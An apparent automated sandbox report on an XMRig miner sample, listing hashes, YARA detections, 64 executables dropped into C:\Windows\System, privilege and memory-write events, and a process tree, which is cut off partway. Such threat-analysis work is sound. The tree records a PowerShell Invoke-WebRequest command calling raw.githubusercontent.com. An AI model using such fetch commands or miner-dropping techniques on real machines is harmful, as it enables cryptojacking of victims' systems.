xmrig | a16d6ded382da6921e1c1f7eb0ae7f5bedc8de9bae20d85e00687419db782e12

Analysis

max time kernel
138s
max time network
130s
platform
windows10-2004_x64
resource
win10v2004-20240611-en
resource tags

arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
submitted
17/06/2024, 07:12

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
Size

1.8MB
MD5

b7533358a79f4b70f1759e094667e087
SHA1

cacb5df01f953118578ec4be3eac73bff129e204
SHA256

a16d6ded382da6921e1c1f7eb0ae7f5bedc8de9bae20d85e00687419db782e12
SHA512

ef3a69ecb1ead3edc9e92cf398da42101f30ce0c3013dad105e71f06c11c9146bd5a3d1d85369008e819033d7ac5ebd24e5e0238efab75b50a8c011f20a6e61d
SSDEEP

24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYlZ3pBjqlx7TovQmVV4dThen9zc:Lz071uv4BPMkibTIA5lCx7kvRWa4puWp

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 26 IoCs

miner

resource	yara_rule
behavioral2/memory/4512-35-0x00007FF6B11C0000-0x00007FF6B15B2000-memory.dmp	xmrig
behavioral2/memory/2356-42-0x00007FF73F1D0000-0x00007FF73F5C2000-memory.dmp	xmrig
behavioral2/memory/2716-96-0x00007FF7C2040000-0x00007FF7C2432000-memory.dmp	xmrig
behavioral2/memory/868-111-0x00007FF6570F0000-0x00007FF6574E2000-memory.dmp	xmrig
behavioral2/memory/2684-137-0x00007FF69DEB0000-0x00007FF69E2A2000-memory.dmp	xmrig
behavioral2/memory/3116-161-0x00007FF736AC0000-0x00007FF736EB2000-memory.dmp	xmrig
behavioral2/memory/3368-149-0x00007FF78FB10000-0x00007FF78FF02000-memory.dmp	xmrig
behavioral2/memory/536-143-0x00007FF673530000-0x00007FF673922000-memory.dmp	xmrig
behavioral2/memory/2932-136-0x00007FF75E950000-0x00007FF75ED42000-memory.dmp	xmrig
behavioral2/memory/2272-130-0x00007FF6DEB70000-0x00007FF6DEF62000-memory.dmp	xmrig
behavioral2/memory/1460-129-0x00007FF6868E0000-0x00007FF686CD2000-memory.dmp	xmrig
behavioral2/memory/2036-118-0x00007FF6190C0000-0x00007FF6194B2000-memory.dmp	xmrig
behavioral2/memory/3048-117-0x00007FF6F7990000-0x00007FF6F7D82000-memory.dmp	xmrig
behavioral2/memory/1584-107-0x00007FF6B4A70000-0x00007FF6B4E62000-memory.dmp	xmrig
behavioral2/memory/2108-106-0x00007FF6FAC20000-0x00007FF6FB012000-memory.dmp	xmrig
behavioral2/memory/5024-99-0x00007FF77AFD0000-0x00007FF77B3C2000-memory.dmp	xmrig
behavioral2/memory/2452-95-0x00007FF7B0F40000-0x00007FF7B1332000-memory.dmp	xmrig
behavioral2/memory/2768-87-0x00007FF6E7100000-0x00007FF6E74F2000-memory.dmp	xmrig
behavioral2/memory/1612-59-0x00007FF72A9B0000-0x00007FF72ADA2000-memory.dmp	xmrig
behavioral2/memory/2688-47-0x00007FF613B00000-0x00007FF613EF2000-memory.dmp	xmrig
behavioral2/memory/4308-43-0x00007FF71FEE0000-0x00007FF7202D2000-memory.dmp	xmrig
behavioral2/memory/1604-3107-0x00007FF61A2D0000-0x00007FF61A6C2000-memory.dmp	xmrig
behavioral2/memory/3368-5049-0x00007FF78FB10000-0x00007FF78FF02000-memory.dmp	xmrig
behavioral2/memory/3504-5050-0x00007FF66B630000-0x00007FF66BA22000-memory.dmp	xmrig
behavioral2/memory/2732-6258-0x00007FF72EFA0000-0x00007FF72F392000-memory.dmp	xmrig
behavioral2/memory/4308-6319-0x00007FF71FEE0000-0x00007FF7202D2000-memory.dmp	xmrig

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	4056	powershell.exe
5	4056	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
4056	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
4512	vULeiMU.exe
2768	zKqhgRC.exe
2356	hDrtqxs.exe
4308	VeRlFPW.exe
2688	sgDiTEz.exe
1612	UpXeSMg.exe
2452	vUwZkHI.exe
2716	AOIFCJV.exe
1604	vMXKlXM.exe
5024	xtQiCdU.exe
3048	JDnbawu.exe
2108	IlsykuC.exe
1584	iNZEMBo.exe
868	IpHgkKy.exe
2036	FcsAqCH.exe
1460	xYZoBGp.exe
2272	RmZiyoA.exe
2932	mNlniSv.exe
2684	NJLMESo.exe
536	VpQRPnh.exe
3368	fqchhGi.exe
3504	HMUEJCZ.exe
3116	kUJrJpd.exe
2732	TNEjCNS.exe
724	KmFxAFB.exe
1580	qBlkBFK.exe
4652	WElwOMk.exe
1596	XUOnTxj.exe
3876	ITnmWev.exe
5116	fFsUQaV.exe
1808	fcTVZiz.exe
804	SvrIayo.exe
3756	nmBgvkj.exe
3852	ZLbhPsg.exe
4416	dEeMEOb.exe
2656	UWKHckr.exe
4796	pgwdeRi.exe
2320	WhfXHuS.exe
2228	oOxydXa.exe
2392	GZTaoeZ.exe
2464	SqxUUch.exe
3096	QybBrIh.exe
2000	VhurpqB.exe
1668	iMWngxr.exe
1312	wBrHQJv.exe
1004	rTPUUwA.exe
1368	ILOjilx.exe
2280	ylVzpim.exe
2996	EfcqDCy.exe
2920	bYlmFmr.exe
2332	hEuGXlx.exe
3976	Rgverje.exe
3760	xUqPhzD.exe
2764	YixOSxP.exe
808	bkNqMXw.exe
3416	dyKmUDK.exe
2096	ZkMjHSh.exe
1800	pefvCrp.exe
3936	aWsxZJS.exe
3212	dBFwYMb.exe
3480	qKLsaTB.exe
4316	DCzDOyt.exe
4036	ZpBxkSk.exe
1068	UFPtQmD.exe

UPX packed file 63 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1272-0-0x00007FF7169A0000-0x00007FF716D92000-memory.dmp	upx
behavioral2/files/0x0008000000023584-14.dat	upx
behavioral2/files/0x0007000000023587-21.dat	upx
behavioral2/files/0x0007000000023588-27.dat	upx
behavioral2/memory/4512-35-0x00007FF6B11C0000-0x00007FF6B15B2000-memory.dmp	upx
behavioral2/memory/2356-42-0x00007FF73F1D0000-0x00007FF73F5C2000-memory.dmp	upx
behavioral2/files/0x000700000002358c-50.dat	upx
behavioral2/files/0x000700000002358a-53.dat	upx
behavioral2/files/0x000700000002358f-88.dat	upx
behavioral2/memory/2716-96-0x00007FF7C2040000-0x00007FF7C2432000-memory.dmp	upx
behavioral2/files/0x0007000000023593-102.dat	upx
behavioral2/memory/868-111-0x00007FF6570F0000-0x00007FF6574E2000-memory.dmp	upx
behavioral2/files/0x0007000000023594-121.dat	upx
behavioral2/memory/2684-137-0x00007FF69DEB0000-0x00007FF69E2A2000-memory.dmp	upx
behavioral2/memory/2732-167-0x00007FF72EFA0000-0x00007FF72F392000-memory.dmp	upx
behavioral2/files/0x00070000000235a0-190.dat	upx
behavioral2/files/0x00070000000235a2-200.dat	upx
behavioral2/files/0x00070000000235a1-195.dat	upx
behavioral2/files/0x000700000002359f-193.dat	upx
behavioral2/files/0x000700000002359e-188.dat	upx
behavioral2/files/0x000700000002359d-183.dat	upx
behavioral2/files/0x000700000002359c-178.dat	upx
behavioral2/files/0x000700000002359b-173.dat	upx
behavioral2/files/0x000700000002359a-168.dat	upx
behavioral2/files/0x0007000000023599-162.dat	upx
behavioral2/memory/3116-161-0x00007FF736AC0000-0x00007FF736EB2000-memory.dmp	upx
behavioral2/files/0x0007000000023598-156.dat	upx
behavioral2/memory/3504-155-0x00007FF66B630000-0x00007FF66BA22000-memory.dmp	upx
behavioral2/files/0x0007000000023597-150.dat	upx
behavioral2/memory/3368-149-0x00007FF78FB10000-0x00007FF78FF02000-memory.dmp	upx
behavioral2/files/0x0007000000023596-144.dat	upx
behavioral2/memory/536-143-0x00007FF673530000-0x00007FF673922000-memory.dmp	upx
behavioral2/files/0x0007000000023595-138.dat	upx
behavioral2/memory/2932-136-0x00007FF75E950000-0x00007FF75ED42000-memory.dmp	upx
behavioral2/memory/2272-130-0x00007FF6DEB70000-0x00007FF6DEF62000-memory.dmp	upx
behavioral2/memory/1460-129-0x00007FF6868E0000-0x00007FF686CD2000-memory.dmp	upx
behavioral2/files/0x0008000000023590-124.dat	upx
behavioral2/files/0x0008000000023591-119.dat	upx
behavioral2/memory/2036-118-0x00007FF6190C0000-0x00007FF6194B2000-memory.dmp	upx
behavioral2/memory/3048-117-0x00007FF6F7990000-0x00007FF6F7D82000-memory.dmp	upx
behavioral2/files/0x0008000000023582-112.dat	upx
behavioral2/memory/1584-107-0x00007FF6B4A70000-0x00007FF6B4E62000-memory.dmp	upx
behavioral2/memory/2108-106-0x00007FF6FAC20000-0x00007FF6FB012000-memory.dmp	upx
behavioral2/memory/5024-99-0x00007FF77AFD0000-0x00007FF77B3C2000-memory.dmp	upx
behavioral2/memory/2452-95-0x00007FF7B0F40000-0x00007FF7B1332000-memory.dmp	upx
behavioral2/memory/2768-87-0x00007FF6E7100000-0x00007FF6E74F2000-memory.dmp	upx
behavioral2/files/0x0007000000023592-92.dat	upx
behavioral2/files/0x000700000002358d-79.dat	upx
behavioral2/files/0x000700000002358e-86.dat	upx
behavioral2/files/0x000700000002358b-62.dat	upx
behavioral2/memory/1604-60-0x00007FF61A2D0000-0x00007FF61A6C2000-memory.dmp	upx
behavioral2/memory/1612-59-0x00007FF72A9B0000-0x00007FF72ADA2000-memory.dmp	upx
behavioral2/files/0x0007000000023589-51.dat	upx
behavioral2/memory/2688-47-0x00007FF613B00000-0x00007FF613EF2000-memory.dmp	upx
behavioral2/memory/4308-43-0x00007FF71FEE0000-0x00007FF7202D2000-memory.dmp	upx
behavioral2/files/0x0007000000023586-28.dat	upx
behavioral2/files/0x0007000000023585-22.dat	upx
behavioral2/files/0x00060000000233cd-9.dat	upx
behavioral2/memory/1604-3107-0x00007FF61A2D0000-0x00007FF61A6C2000-memory.dmp	upx
behavioral2/memory/3368-5049-0x00007FF78FB10000-0x00007FF78FF02000-memory.dmp	upx
behavioral2/memory/3504-5050-0x00007FF66B630000-0x00007FF66BA22000-memory.dmp	upx
behavioral2/memory/2732-6258-0x00007FF72EFA0000-0x00007FF72F392000-memory.dmp	upx
behavioral2/memory/4308-6319-0x00007FF71FEE0000-0x00007FF7202D2000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
2	raw.githubusercontent.com
3	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\huKVmRi.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\JIQJzrs.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\LdbSNGm.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\fvapfiE.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\LoXCnrm.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\MZxkSnk.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\WygnMVN.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\SBtAXex.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\HJcdHXJ.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\yQPrBth.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\polZuAf.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\ZaPjOTG.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\uENiEew.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\esokooe.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\UwBFCpW.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\VPqNTfC.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\djaGCnv.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\GYeTZIN.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\sbjdFcG.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\nTfnGxS.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\pHpzOIP.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\TWjWhur.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\QqgcZVO.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\zXsIZNv.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\RBrozBp.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\WeGEgJl.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\BtulCcu.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\qDnFVTE.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\CXBiNPO.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\TJrPxIE.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\pAUkKZU.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\vFZKhvy.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\cJIXTdu.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\aAVaulM.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\JaFxfpk.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\tuiMyUl.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\nhaGeaC.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\qBdXbej.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\IDFaClr.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\BGKgUMg.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\yqokMuI.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\XWRuTHe.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\yWhlWOT.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\DkNBLdY.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\rgyAVFB.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\MirZgdk.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\mapjnXa.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\IsoEshh.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\NcwCkFp.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\dfbHstg.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\fpOHTTJ.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\lUSUyQA.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\vZKIlZP.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\eVehkQp.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\iEtHypz.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\BFBbqTO.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\VexQnEV.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\lzLDLAP.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\yipdcjh.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\QHQnbvl.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\FdLQRNw.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\KTuspSp.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\YXrlAPO.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
File created	C:\Windows\System\qqVGTck.exe	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
4056	powershell.exe
4056	powershell.exe
4056	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
Token: SeLockMemoryPrivilege	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
Token: SeDebugPrivilege	4056	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1272 wrote to memory of 4056	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	83
PID 1272 wrote to memory of 4056	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	83
PID 1272 wrote to memory of 4512	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	84
PID 1272 wrote to memory of 4512	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	84
PID 1272 wrote to memory of 2768	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	85
PID 1272 wrote to memory of 2768	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	85
PID 1272 wrote to memory of 2356	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	86
PID 1272 wrote to memory of 2356	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	86
PID 1272 wrote to memory of 4308	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	87
PID 1272 wrote to memory of 4308	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	87
PID 1272 wrote to memory of 2688	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	88
PID 1272 wrote to memory of 2688	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	88
PID 1272 wrote to memory of 1612	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	89
PID 1272 wrote to memory of 1612	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	89
PID 1272 wrote to memory of 2452	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	90
PID 1272 wrote to memory of 2452	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	90
PID 1272 wrote to memory of 2716	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	91
PID 1272 wrote to memory of 2716	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	91
PID 1272 wrote to memory of 1604	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	92
PID 1272 wrote to memory of 1604	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	92
PID 1272 wrote to memory of 5024	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	93
PID 1272 wrote to memory of 5024	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	93
PID 1272 wrote to memory of 3048	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	94
PID 1272 wrote to memory of 3048	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	94
PID 1272 wrote to memory of 2108	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	95
PID 1272 wrote to memory of 2108	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	95
PID 1272 wrote to memory of 1584	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	96
PID 1272 wrote to memory of 1584	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	96
PID 1272 wrote to memory of 868	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	97
PID 1272 wrote to memory of 868	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	97
PID 1272 wrote to memory of 2036	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	98
PID 1272 wrote to memory of 2036	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	98
PID 1272 wrote to memory of 1460	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	99
PID 1272 wrote to memory of 1460	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	99
PID 1272 wrote to memory of 2272	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	100
PID 1272 wrote to memory of 2272	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	100
PID 1272 wrote to memory of 2932	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	101
PID 1272 wrote to memory of 2932	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	101
PID 1272 wrote to memory of 2684	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	102
PID 1272 wrote to memory of 2684	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	102
PID 1272 wrote to memory of 536	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	103
PID 1272 wrote to memory of 536	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	103
PID 1272 wrote to memory of 3368	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	104
PID 1272 wrote to memory of 3368	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	104
PID 1272 wrote to memory of 3504	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	105
PID 1272 wrote to memory of 3504	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	105
PID 1272 wrote to memory of 3116	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	106
PID 1272 wrote to memory of 3116	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	106
PID 1272 wrote to memory of 2732	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	107
PID 1272 wrote to memory of 2732	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	107
PID 1272 wrote to memory of 724	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	108
PID 1272 wrote to memory of 724	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	108
PID 1272 wrote to memory of 1580	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	109
PID 1272 wrote to memory of 1580	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	109
PID 1272 wrote to memory of 4652	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	110
PID 1272 wrote to memory of 4652	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	110
PID 1272 wrote to memory of 1596	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	111
PID 1272 wrote to memory of 1596	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	111
PID 1272 wrote to memory of 3876	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	112
PID 1272 wrote to memory of 3876	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	112
PID 1272 wrote to memory of 5116	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	113
PID 1272 wrote to memory of 5116	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	113
PID 1272 wrote to memory of 1808	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	114
PID 1272 wrote to memory of 1808	1272	b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe	114

C:\Users\Admin\AppData\Local\Temp\b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\b7533358a79f4b70f1759e094667e087_JaffaCakes118.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1272
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4056
- C:\Windows\System\vULeiMU.exe
  C:\Windows\System\vULeiMU.exe
  2⤵
  - Executes dropped EXE
  PID:4512
- C:\Windows\System\zKqhgRC.exe
  C:\Windows\System\zKqhgRC.exe
  2⤵
  - Executes dropped EXE
  PID:2768
- C:\Windows\System\hDrtqxs.exe
  C:\Windows\System\hDrtqxs.exe
  2⤵
  - Executes dropped EXE
  PID:2356
- C:\Windows\System\VeRlFPW.exe
  C:\Windows\System\VeRlFPW.exe
  2⤵
  - Executes dropped EXE
  PID:4308
- C:\Windows\System\sgDiTEz.exe
  C:\Windows\System\sgDiTEz.exe
  2⤵
  - Executes dropped EXE
  PID:2688
- C:\Windows\System\UpXeSMg.exe
  C:\Windows\System\UpXeSMg.exe
  2⤵
  - Executes dropped EXE
  PID:1612
- C:\Windows\System\vUwZkHI.exe
  C:\Windows\System\vUwZkHI.exe
  2⤵
  - Executes dropped EXE
  PID:2452
- C:\Windows\System\AOIFCJV.exe
  C:\Windows\System\AOIFCJV.exe
  2⤵
  - Executes dropped EXE
  PID:2716
- C:\Windows\System\vMXKlXM.exe
  C:\Windows\System\vMXKlXM.exe
  2⤵
  - Executes dropped EXE
  PID:1604
- C:\Windows\System\xtQiCdU.exe
  C:\Windows\System\xtQiCdU.exe
  2⤵
  - Executes dropped EXE
  PID:5024
- C:\Windows\System\JDnbawu.exe
  C:\Windows\System\JDnbawu.exe
  2⤵
  - Executes dropped EXE
  PID:3048
- C:\Windows\System\IlsykuC.exe
  C:\Windows\System\IlsykuC.exe
  2⤵
  - Executes dropped EXE
  PID:2108
- C:\Windows\System\iNZEMBo.exe
  C:\Windows\System\iNZEMBo.exe
  2⤵
  - Executes dropped EXE
  PID:1584
- C:\Windows\System\IpHgkKy.exe
  C:\Windows\System\IpHgkKy.exe
  2⤵
  - Executes dropped EXE
  PID:868
- C:\Windows\System\FcsAqCH.exe
  C:\Windows\System\FcsAqCH.exe
  2⤵
  - Executes dropped EXE
  PID:2036
- C:\Windows\System\xYZoBGp.exe
  C:\Windows\System\xYZoBGp.exe
  2⤵
  - Executes dropped EXE
  PID:1460
- C:\Windows\System\RmZiyoA.exe
  C:\Windows\System\RmZiyoA.exe
  2⤵
  - Executes dropped EXE
  PID:2272
- C:\Windows\System\mNlniSv.exe
  C:\Windows\System\mNlniSv.exe
  2⤵
  - Executes dropped EXE
  PID:2932
- C:\Windows\System\NJLMESo.exe
  C:\Windows\System\NJLMESo.exe
  2⤵
  - Executes dropped EXE
  PID:2684
- C:\Windows\System\VpQRPnh.exe
  C:\Windows\System\VpQRPnh.exe
  2⤵
  - Executes dropped EXE
  PID:536
- C:\Windows\System\fqchhGi.exe
  C:\Windows\System\fqchhGi.exe
  2⤵
  - Executes dropped EXE
  PID:3368
- C:\Windows\System\HMUEJCZ.exe
  C:\Windows\System\HMUEJCZ.exe
  2⤵
  - Executes dropped EXE
  PID:3504
- C:\Windows\System\kUJrJpd.exe
  C:\Windows\System\kUJrJpd.exe
  2⤵
  - Executes dropped EXE
  PID:3116
- C:\Windows\System\TNEjCNS.exe
  C:\Windows\System\TNEjCNS.exe
  2⤵
  - Executes dropped EXE
  PID:2732
- C:\Windows\System\KmFxAFB.exe
  C:\Windows\System\KmFxAFB.exe
  2⤵
  - Executes dropped EXE
  PID:724
- C:\Windows\System\qBlkBFK.exe
  C:\Windows\System\qBlkBFK.exe
  2⤵
  - Executes dropped EXE
  PID:1580
- C:\Windows\System\WElwOMk.exe
  C:\Windows\System\WElwOMk.exe
  2⤵
  - Executes dropped EXE
  PID:4652
- C:\Windows\System\XUOnTxj.exe
  C:\Windows\System\XUOnTxj.exe
  2⤵
  - Executes dropped EXE
  PID:1596
- C:\Windows\System\ITnmWev.exe
  C:\Windows\System\ITnmWev.exe
  2⤵
  - Executes dropped EXE
  PID:3876
- C:\Windows\System\fFsUQaV.exe
  C:\Windows\System\fFsUQaV.exe
  2⤵
  - Executes dropped EXE
  PID:5116
- C:\Windows\System\fcTVZiz.exe
  C:\Windows\System\fcTVZiz.exe
  2⤵
  - Executes dropped EXE
  PID:1808
- C:\Windows\System\SvrIayo.exe
  C:\Windows\System\SvrIayo.exe
  2⤵
  - Executes dropped EXE
  PID:804
- C:\Windows\System\nmBgvkj.exe
  C:\Windows\System\nmBgvkj.exe
  2⤵
